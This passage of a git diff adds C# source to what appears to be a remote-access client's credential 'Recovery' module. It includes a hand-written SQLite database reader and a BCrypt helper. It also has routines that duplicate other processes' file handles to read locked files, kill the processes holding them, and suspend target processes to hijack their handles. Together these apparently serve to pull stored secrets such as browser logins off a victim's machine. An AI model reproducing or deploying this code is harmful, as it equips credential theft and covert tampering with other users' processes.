BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); + + byte[] value = new byte[size]; + + status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); + + return value; + } + + public byte[] Concat(params byte[][] arrays) + { + int len = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + len += array.Length; + } + + byte[] result = new byte[len - 1 + 1]; + int offset = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + Buffer.BlockCopy(array, 0, result, offset, array.Length); + offset += array.Length; + } + + return result; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs b/Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs new file mode 100644 index 0000000..b61b393 --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs @@ -0,0 +1,479 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Recovery.Utilities +{ + public class SQLiteHandler + { + private byte[] db_bytes; + private ulong encoding; + private string[] field_names = new string[1]; + private sqlite_master_entry[] master_table_entries; + private ushort page_size; + private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; + private table_entry[] table_entries; + + public SQLiteHandler(string baseName) + { + if (File.Exists(baseName)) + { + db_bytes = FileHandlerXeno.ForceReadFile(baseName); + if (db_bytes == null) + { + throw new Exception("Unable to read SQLite Database File"); + } + if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) + { + throw new Exception("Not a valid SQLite 3 Database File"); + } + if (this.db_bytes[0x34] != 0) + { + throw new Exception("Auto-vacuum capable database is not supported"); + } + //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0) + //{ + // throw new Exception("No supported Schema layer file-format"); + //} + this.page_size = (ushort)this.ConvertToInteger(0x10, 2); + this.encoding = this.ConvertToInteger(0x38, 4); + if (decimal.Compare(new decimal(this.encoding), decimal.Zero) == 0) + { + this.encoding = 1L; + } + this.ReadMasterTable(100L); + } + } + + private ulong ConvertToInteger(int startIndex, int Size) + { + if ((Size > 8) | (Size == 0)) + { + return 0L; + } + ulong num2 = 0L; + int num4 = Size - 1; + for (int i = 0; i <= num4; i++) + { + num2 = (num2 << 8) | this.db_bytes[startIndex + i]; + } + return num2; + } + + private long CVL(int startIndex, int endIndex) + { + endIndex++; + byte[] buffer = new byte[8]; + int num4 = endIndex - startIndex; + bool flag = false; + if ((num4 == 0) | (num4 > 9)) + { + return 0L; + } + if (num4 == 1) + { + buffer[0] = (byte)(this.db_bytes[startIndex] & 0x7f); + return BitConverter.ToInt64(buffer, 0); + } + if (num4 == 9) + { + flag = true; + } + int num2 = 1; + int num3 = 7; + int index = 0; + if (flag) + { + buffer[0] = this.db_bytes[endIndex - 1]; + endIndex--; + index = 1; + } + int num7 = startIndex; + for (int i = endIndex - 1; i >= num7; i += -1) + { + if ((i - 1) >= startIndex) + { + buffer[index] = (byte)((((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2)) | ((byte)(this.db_bytes[i - 1] << (num3 & 7)))); + num2++; + index++; + num3--; + } + else if (!flag) + { + buffer[index] = (byte)(((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2)); + } + } + return BitConverter.ToInt64(buffer, 0); + } + + public int GetRowCount() + { + return this.table_entries.Length; + } + + public string[] GetTableNames() + { + List tableNames = new List(); + int num3 = this.master_table_entries.Length - 1; + for (int i = 0; i <= num3; i++) + { + if (this.master_table_entries[i].item_type == "table") + { + tableNames.Add(this.master_table_entries[i].item_name); + } + } + return tableNames.ToArray(); + } + + public string GetValue(int row_num, int field) + { + if (row_num >= this.table_entries.Length) + { + return null; + } + if (field >= this.table_entries[row_num].content.Length) + { + return null; + } + return this.table_entries[row_num].content[field]; + } + + public string GetValue(int row_num, string field) + { + try + { + int num = -1; + int length = this.field_names.Length - 1; + for (int i = 0; i <= length; i++) + { + if (this.field_names[i].ToLower().CompareTo(field.ToLower()) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return null; + } + return this.GetValue(row_num, num); + } + catch (Exception e) + { + Debug.WriteLine(e); + return null; + } + } + + private int GVL(int startIndex) + { + if (startIndex > this.db_bytes.Length) + { + return 0; + } + int num3 = startIndex + 8; + for (int i = startIndex; i <= num3; i++) + { + if (i > (this.db_bytes.Length - 1)) + { + return 0; + } + if ((this.db_bytes[i] & 0x80) != 0x80) + { + return i; + } + } + return (startIndex + 8); + } + + private bool IsOdd(long value) + { + return ((value & 1L) == 1L); + } + + private void ReadMasterTable(ulong Offset) + { + if (this.db_bytes[(int)Offset] == 13) + { + ushort num2 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int length = 0; + if (this.master_table_entries != null) + { + length = this.master_table_entries.Length; + Array.Resize(ref master_table_entries, this.master_table_entries.Length + num2 + 1); + } + else + { + this.master_table_entries = new sqlite_master_entry[num2 + 1]; + } + int num13 = num2; + for (int i = 0; i <= num13; i++) + { + ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) != 0) + { + num += Offset; + } + int endIndex = this.GVL((int)num); + long num7 = this.CVL((int)num, endIndex); + int num6 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); + this.master_table_entries[length + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6); + num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))), decimal.One)); + endIndex = this.GVL((int)num); + num6 = endIndex; + long num5 = this.CVL((int)num, endIndex); + long[] numArray = new long[5]; + int index = 0; + do + { + endIndex = num6 + 1; + num6 = this.GVL(endIndex); + numArray[index] = this.CVL(endIndex, num6); + if (numArray[index] > 9L) + { + if (this.IsOdd(numArray[index])) + { + numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 13L)) / 2.0)); + } + else + { + numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 12L)) / 2.0)); + } + } + else + { + numArray[index] = this.SQLDataTypeSize[(int)numArray[index]]; + } + index++; + } + while (index <= 4); + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.master_table_entries[length + i].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.master_table_entries[length + i].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.master_table_entries[length + i].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.master_table_entries[length + i].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + this.master_table_entries[length + i].root_num = (long)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2]))), (int)numArray[3]); + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.master_table_entries[length + i].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]); + } + } + } + else if (this.db_bytes[(int)Offset] == 5) + { + ushort num11 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int num14 = num11; + for (int j = 0; j <= num14; j++) + { + ushort startIndex = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) == 0) + { + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(startIndex, 4)), decimal.One), new decimal(this.page_size)))); + } + else + { + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(this.page_size)))); + } + } + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size)))); + } + } + + public bool ReadTable(string TableName) + { + int index = -1; + int length = this.master_table_entries.Length - 1; + for (int i = 0; i <= length; i++) + { + if (this.master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) + { + index = i; + break; + } + } + if (index == -1) + { + return false; + } + string[] strArray = this.master_table_entries[index].sql_statement.Substring(this.master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(new char[] { ',' }); + int num6 = strArray.Length - 1; + for (int j = 0; j <= num6; j++) + { + strArray[j] = (strArray[j]).TrimStart(); + int num4 = strArray[j].IndexOf(" "); + if (num4 > 0) + { + strArray[j] = strArray[j].Substring(0, num4); + } + if (strArray[j].IndexOf("UNIQUE") == 0) + { + break; + } + + Array.Resize(ref field_names, j + 1); + this.field_names[j] = strArray[j]; + } + return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size)); + } + + private bool ReadTableFromOffset(ulong Offset) + { + if (this.db_bytes[(int)Offset] == 13) + { + int num2 = Convert.ToInt32(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int length = 0; + if (this.table_entries != null) + { + length = this.table_entries.Length; + Array.Resize(ref this.table_entries, this.table_entries.Length + num2 + 1); + } + else + { + this.table_entries = new table_entry[num2 + 1]; + } + int num16 = num2; + for (int i = 0; i <= num16; i++) + { + record_header_field[] _fieldArray = new record_header_field[1]; + ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) != 0) + { + num += Offset; + } + int endIndex = this.GVL((int)num); + long num9 = this.CVL((int)num, endIndex); + int num8 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); + this.table_entries[length + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8); + num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))), decimal.One)); + endIndex = this.GVL((int)num); + num8 = endIndex; + long num7 = this.CVL((int)num, endIndex); + long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One)); + for (int j = 0; num10 < num7; j++) + { + Array.Resize(ref _fieldArray, j + 1); + endIndex = num8 + 1; + num8 = this.GVL(endIndex); + _fieldArray[j].type = this.CVL(endIndex, num8); + if (_fieldArray[j].type > 9L) + { + if (this.IsOdd(_fieldArray[j].type)) + { + _fieldArray[j].size = (long)Math.Round((double)(((double)(_fieldArray[j].type - 13L)) / 2.0)); + } + else + { + _fieldArray[j].size = (long)Math.Round((double)(((double)(_fieldArray[j].type - 12L)) / 2.0)); + } + } + else + { + _fieldArray[j].size = this.SQLDataTypeSize[(int)_fieldArray[j].type]; + } + num10 = (num10 + (num8 - endIndex)) + 1L; + } + this.table_entries[length + i].content = new string[(_fieldArray.Length - 1) + 1]; + int num4 = 0; + int num17 = _fieldArray.Length - 1; + for (int k = 0; k <= num17; k++) + { + if (_fieldArray[k].type > 9L) + { + if (!this.IsOdd(_fieldArray[k].type)) + { + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.table_entries[length + i].content[k] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.table_entries[length + i].content[k] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + } + else + { + this.table_entries[length + i].content[k] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + } + else + { + this.table_entries[length + i].content[k] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size)); + } + num4 += (int)_fieldArray[k].size; + } + } + } + else if (this.db_bytes[(int)Offset] == 5) + { + ushort num14 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int num18 = num14; + for (int m = 0; m <= num18; m++) + { + ushort num13 = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2); + this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(this.page_size)))); + } + this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size)))); + } + return true; + } + + [StructLayout(LayoutKind.Sequential)] + private struct record_header_field + { + public long size; + public long type; + } + + [StructLayout(LayoutKind.Sequential)] + private struct sqlite_master_entry + { + public long row_id; + public string item_type; + public string item_name; + public string astable_name; + public long root_num; + public string sql_statement; + } + + [StructLayout(LayoutKind.Sequential)] + private struct table_entry + { + public long row_id; + public string[] content; + } + } +} diff --git a/Pulsar.Client/Recovery/Utilities/Xeno/.DS_Store b/Pulsar.Client/Recovery/Utilities/Xeno/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0(pInfo + (int)(i * (uint)HandleStructSize)); + + + if (!Pidless && !process.Contains((int)(uint)HandleInfo.UniqueProcessId)) + { + continue; + } + + + if (DupHandle((int)HandleInfo.UniqueProcessId, (IntPtr)(ulong)HandleInfo.HandleValue, out IntPtr duppedHandle)) + { + if (NativeMethodsXeno.GetFileType(duppedHandle) != InternalStructsXeno.FileType.FILE_TYPE_DISK) + { + NativeMethodsXeno.CloseHandle(duppedHandle); + continue; + } + + string name = GetPathFromHandle(duppedHandle); + + if (name == null) + { + NativeMethodsXeno.CloseHandle(duppedHandle); + continue; + } + + if (name.StartsWith("\\\\?\\")) + { + name = name.Substring(4); + } + + if (name == filePath) + { + result = ReadFileBytesFromHandle(duppedHandle); + NativeMethodsXeno.CloseHandle(duppedHandle); + if (result != null) + { + break; + } + } + + NativeMethodsXeno.CloseHandle(duppedHandle); + + } + + + } + Marshal.FreeHGlobal(pInfoBackup); + + if (result == null && killOwningProcessIfCouldntAquire) + { + foreach (int i in process) + { + KillProcess(i); + } + + try + { + result = File.ReadAllBytes(filePath); + } + catch + { + } + + } + + return result; + } + + //AI translated C code. https://web.archive.org/web/20240122161954/https://www.x86matthew.com/view_post?id=hijack_file_handle + public static bool GetFileHandleObjectType(out uint pdwFileHandleObjectType) + { + pdwFileHandleObjectType = 0; + + // get the file path of the current exe + string szPath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; + + // open the current exe + IntPtr hFile = NativeMethodsXeno.CreateFileW(szPath, NativeMethodsXeno.GENERIC_READ, NativeMethodsXeno.FILE_SHARE_READ, IntPtr.Zero, NativeMethodsXeno.OPEN_EXISTING, 0, IntPtr.Zero); + if (hFile == NativeMethodsXeno.INVALID_HANDLE_VALUE) + { + return false; + } + + // take a snapshot of the system handle list + if (GetSystemHandleList() != 0) + { + NativeMethodsXeno.CloseHandle(hFile); + return false; + } + + // close the temporary file handle + NativeMethodsXeno.CloseHandle(hFile); + + // find the temporary file handle in the previous snapshot + if (!pGlobal_SystemHandleInfo.HasValue) + return false; + + var handleInfo = pGlobal_SystemHandleInfo.Value; + int handleCount = (int)handleInfo.NumberOfHandles; + IntPtr handleListPtr = pGlobal_SystemHandleInfoBuffer + 2 * IntPtr.Size; + + for (int i = 0; i < handleCount; i++) + { + var entry = Marshal.PtrToStructure(handleListPtr + i * Marshal.SizeOf()); + + // check if the process ID is correct + if (entry.UniqueProcessId == (UIntPtr)NativeMethodsXeno.GetCurrentProcessId()) + { + // check if the handle index is correct + if (entry.HandleValue == (UIntPtr)(ulong)hFile) + { + // store the file handle object type index + pdwFileHandleObjectType = entry.ObjectTypeIndex; + return true; + } + } + } + + // ensure the file handle object type was found + return false; + } + + private static int GetSystemHandleList() + { + uint dwAllocSize = 0; + uint dwStatus = 0; + uint dwLength = 0; + IntPtr pSystemHandleInfoBuffer = IntPtr.Zero; + + // free previous handle info list (if one exists) + if (pGlobal_SystemHandleInfo != null) + { + // Note: In C# we can't directly free like in C++, but we'll reuse + } + + // get system handle list + dwAllocSize = 0; + for (;;) + { + if (pSystemHandleInfoBuffer != IntPtr.Zero) + { + // free previous inadequately sized buffer + Marshal.FreeHGlobal(pSystemHandleInfoBuffer); + pSystemHandleInfoBuffer = IntPtr.Zero; + } + + if (dwAllocSize != 0) + { + // allocate new buffer + pSystemHandleInfoBuffer = Marshal.AllocHGlobal((int)dwAllocSize); + if (pSystemHandleInfoBuffer == IntPtr.Zero) + { + return 1; + } + } + + // get system handle list + dwStatus = NativeMethodsXeno.NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, pSystemHandleInfoBuffer, dwAllocSize, out dwLength); + if (dwStatus == 0) + { + // success + break; + } + else if (dwStatus == 0xC0000004) // STATUS_INFO_LENGTH_MISMATCH + { + // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks) + dwAllocSize = (dwLength + 1024); + } + else + { + // other error + if (pSystemHandleInfoBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(pSystemHandleInfoBuffer); + return 1; + } + } + + // store handle info ptr + pGlobal_SystemHandleInfo = (InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX)Marshal.PtrToStructure(pSystemHandleInfoBuffer, typeof(InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX)); + pGlobal_SystemHandleInfoBuffer = pSystemHandleInfoBuffer; + + // Note: We keep the buffer allocated for later use + return 0; + } + + public static bool ReplaceFileHandle(IntPtr hTargetProcess, IntPtr hExistingRemoteHandle, IntPtr hReplaceLocalHandle) + { + IntPtr hClonedFileHandle = IntPtr.Zero; + IntPtr hRemoteReplacedHandle = IntPtr.Zero; + + const uint DUPLICATE_CLOSE_SOURCE = 0x00000001; + const uint DUPLICATE_SAME_ACCESS = 0x00000002; + + // close remote file handle + if (!NativeMethodsXeno.DuplicateHandle(hTargetProcess, hExistingRemoteHandle, NativeMethodsXeno.GetCurrentProcess(), ref hClonedFileHandle, 0, false, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)) + { + return false; + } + + // close cloned file handle + NativeMethodsXeno.CloseHandle(hClonedFileHandle); + + // duplicate local file handle into remote process + if (!NativeMethodsXeno.DuplicateHandle(NativeMethodsXeno.GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, ref hRemoteReplacedHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + return false; + } + + // ensure that the new remote handle matches the original value + if (hRemoteReplacedHandle != hExistingRemoteHandle) + { + return false; + } + + return true; + } + + public static bool HijackFileHandle(int dwTargetPID, string pTargetFileName, IntPtr hReplaceLocalHandle) + { + IntPtr hProcess = IntPtr.Zero; + IntPtr hClonedFileHandle = IntPtr.Zero; + uint dwFileHandleObjectType = 0; + int dwThreadExitCode = 0; + int dwThreadID = 0; + IntPtr hThread = IntPtr.Zero; + GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam; + string pLastSlash = null; + int dwHijackCount = 0; + + const uint PROCESS_DUP_HANDLE = 0x0040; + const uint PROCESS_SUSPEND_RESUME = 0x800; + + // calculate the object type index for file handles on this system + if (!GetFileHandleObjectType(out dwFileHandleObjectType)) + { + return false; + } + + Console.WriteLine($"Opening process: {dwTargetPID}..."); + + // open target process + hProcess = NativeMethodsXeno.OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, false, (uint)dwTargetPID); + if (hProcess == IntPtr.Zero) + { + return false; + } + + // suspend target process + if (NativeMethodsXeno.NtSuspendProcess(hProcess) != 0) + { + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + // get system handle list + if (GetSystemHandleList() != 0) + { + NativeMethodsXeno.NtResumeProcess(hProcess); + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + if (!pGlobal_SystemHandleInfo.HasValue) + { + NativeMethodsXeno.NtResumeProcess(hProcess); + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + var handleInfo = pGlobal_SystemHandleInfo.Value; + int handleCount = (int)handleInfo.NumberOfHandles; + IntPtr handleListPtr = pGlobal_SystemHandleInfoBuffer + 2 * IntPtr.Size; + + for (int i = 0; i < handleCount; i++) + { + var entry = Marshal.PtrToStructure(handleListPtr + i * Marshal.SizeOf()); + + // ensure this handle is a file handle object + if (entry.ObjectTypeIndex != dwFileHandleObjectType) + { + continue; + } + + // ensure this handle is in the target process + if ((uint)entry.UniqueProcessId != (uint)dwTargetPID) + { + continue; + } + + // clone file handle + if (!DupHandle((int)(uint)entry.UniqueProcessId, (IntPtr)(ulong)entry.HandleValue, out hClonedFileHandle)) + { + continue; + } + + // get the file path of the current handle - do this in a new thread to prevent deadlocks + GetFileHandlePathThreadParam = new GetFileHandlePathThreadParamStruct(); + GetFileHandlePathThreadParam.hFile = hClonedFileHandle; + + // Note: In C# we can't easily create threads with the same signature, so we'll do it synchronously for now + string path = GetFileHandlePathFromThread(hClonedFileHandle); + + // close cloned file handle + NativeMethodsXeno.CloseHandle(hClonedFileHandle); + + if (path == null) + { + continue; + } + + // get last slash in path + pLastSlash = path.LastIndexOf('\\') >= 0 ? path.Substring(path.LastIndexOf('\\') + 1) : path; + + // check if this is the target filename + if (string.Compare(pLastSlash, pTargetFileName, StringComparison.OrdinalIgnoreCase) != 0) + { + continue; + } + + // found matching filename + Console.WriteLine($"Found remote file handle: \"{path}\" (Handle ID: 0x{entry.HandleValue:X})"); + dwHijackCount++; + + // replace the remote file handle + if (ReplaceFileHandle(hProcess, (IntPtr)(ulong)entry.HandleValue, hReplaceLocalHandle)) + { + // handle replaced successfully + Console.WriteLine("Remote file handle hijacked successfully\n"); + } + else + { + // failed to hijack handle + Console.WriteLine("Failed to hijack remote file handle\n"); + } + } + + // resume process + if (NativeMethodsXeno.NtResumeProcess(hProcess) != 0) + { + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + // clean up + NativeMethodsXeno.CloseHandle(hProcess); + + // ensure at least one matching file handle was found + if (dwHijackCount == 0) + { + Console.WriteLine("No matching file handles found"); + return false; + } + + return true; + } + + public static bool CloneFileByHandleHijacking(string sourceFilePath, string destinationFilePath) + { + try + { + // First, try to copy the file normally + File.Copy(sourceFilePath, destinationFilePath, true); + return true; + } + catch + { + // File is locked, try handle hijacking approach + } + + // Get processes locking the file + if (!GetProcessLockingFile(sourceFilePath, out int[] lockingProcesses)) + { + return false; + } + + if (lockingProcesses.Length == 0) + { + // No locking processes, should have worked above + return false; + } + + // Create the destination file + IntPtr hDestFile = NativeMethodsXeno.CreateFileW(destinationFilePath, NativeMethodsXeno.GENERIC_READ | NativeMethodsXeno.GENERIC_WRITE, NativeMethodsXeno.FILE_SHARE_READ | NativeMethodsXeno.FILE_SHARE_WRITE, IntPtr.Zero, 2 /* CREATE_ALWAYS */, 0, IntPtr.Zero); + if (hDestFile == NativeMethodsXeno.INVALID_HANDLE_VALUE) + { + return false; + } + + try + { + // Copy the current content + byte[] sourceContent = ForceReadFile(sourceFilePath, false); + if (sourceContent != null) + { + using (FileStream fs = new FileStream(destinationFilePath, FileMode.Create)) + { + fs.Write(sourceContent, 0, sourceContent.Length); + } + } + + // Now hijack handles in each locking process + string fileName = Path.GetFileName(sourceFilePath); + bool success = true; + + foreach (int pid in lockingProcesses) + { + if (!HijackFileHandle(pid, fileName, hDestFile)) + { + success = false; + break; + } + } + + return success; + } + finally + { + NativeMethodsXeno.CloseHandle(hDestFile); + } + } + + private struct GetFileHandlePathThreadParamStruct + { + public IntPtr hFile; + public string szPath; + } + + private static string GetFileHandlePathFromThread(IntPtr hFile) + { + const int FILE_NAME_INFORMATION_SIZE = 2048; + IntPtr bFileInfoBuffer = Marshal.AllocHGlobal(FILE_NAME_INFORMATION_SIZE); + InternalStructsXeno.IO_STATUS_BLOCK IoStatusBlock = new InternalStructsXeno.IO_STATUS_BLOCK(); + + try + { + uint status = NativeMethodsXeno.NtQueryInformationFile(hFile, ref IoStatusBlock, bFileInfoBuffer, (uint)FILE_NAME_INFORMATION_SIZE, InternalStructsXeno.FileNameInformation); + if (status != 0) + { + return null; + } + + uint fileNameLength = (uint)Marshal.ReadInt32(bFileInfoBuffer); + + // validate filename length + if (fileNameLength >= FILE_NAME_INFORMATION_SIZE - 4) + { + return null; + } + + // convert file path to string + byte[] fileNameBytes = new byte[fileNameLength]; + Marshal.Copy(bFileInfoBuffer + 4, fileNameBytes, 0, (int)fileNameLength); + string fileName = Encoding.Unicode.GetString(fileNameBytes); + + return fileName; + } + finally + { + Marshal.FreeHGlobal(bFileInfoBuffer); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs b/Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs new file mode 100644 index 0000000..316e159 --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs @@ -0,0 +1,99 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static Pulsar.Client.Recovery.Utilities.Xeno.InternalStructsXeno; + +namespace Pulsar.Client.Recovery.Utilities.Xeno +{ + public static class NativeMethodsXeno + { + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hProcess); + + [DllImport("kernel32.dll", 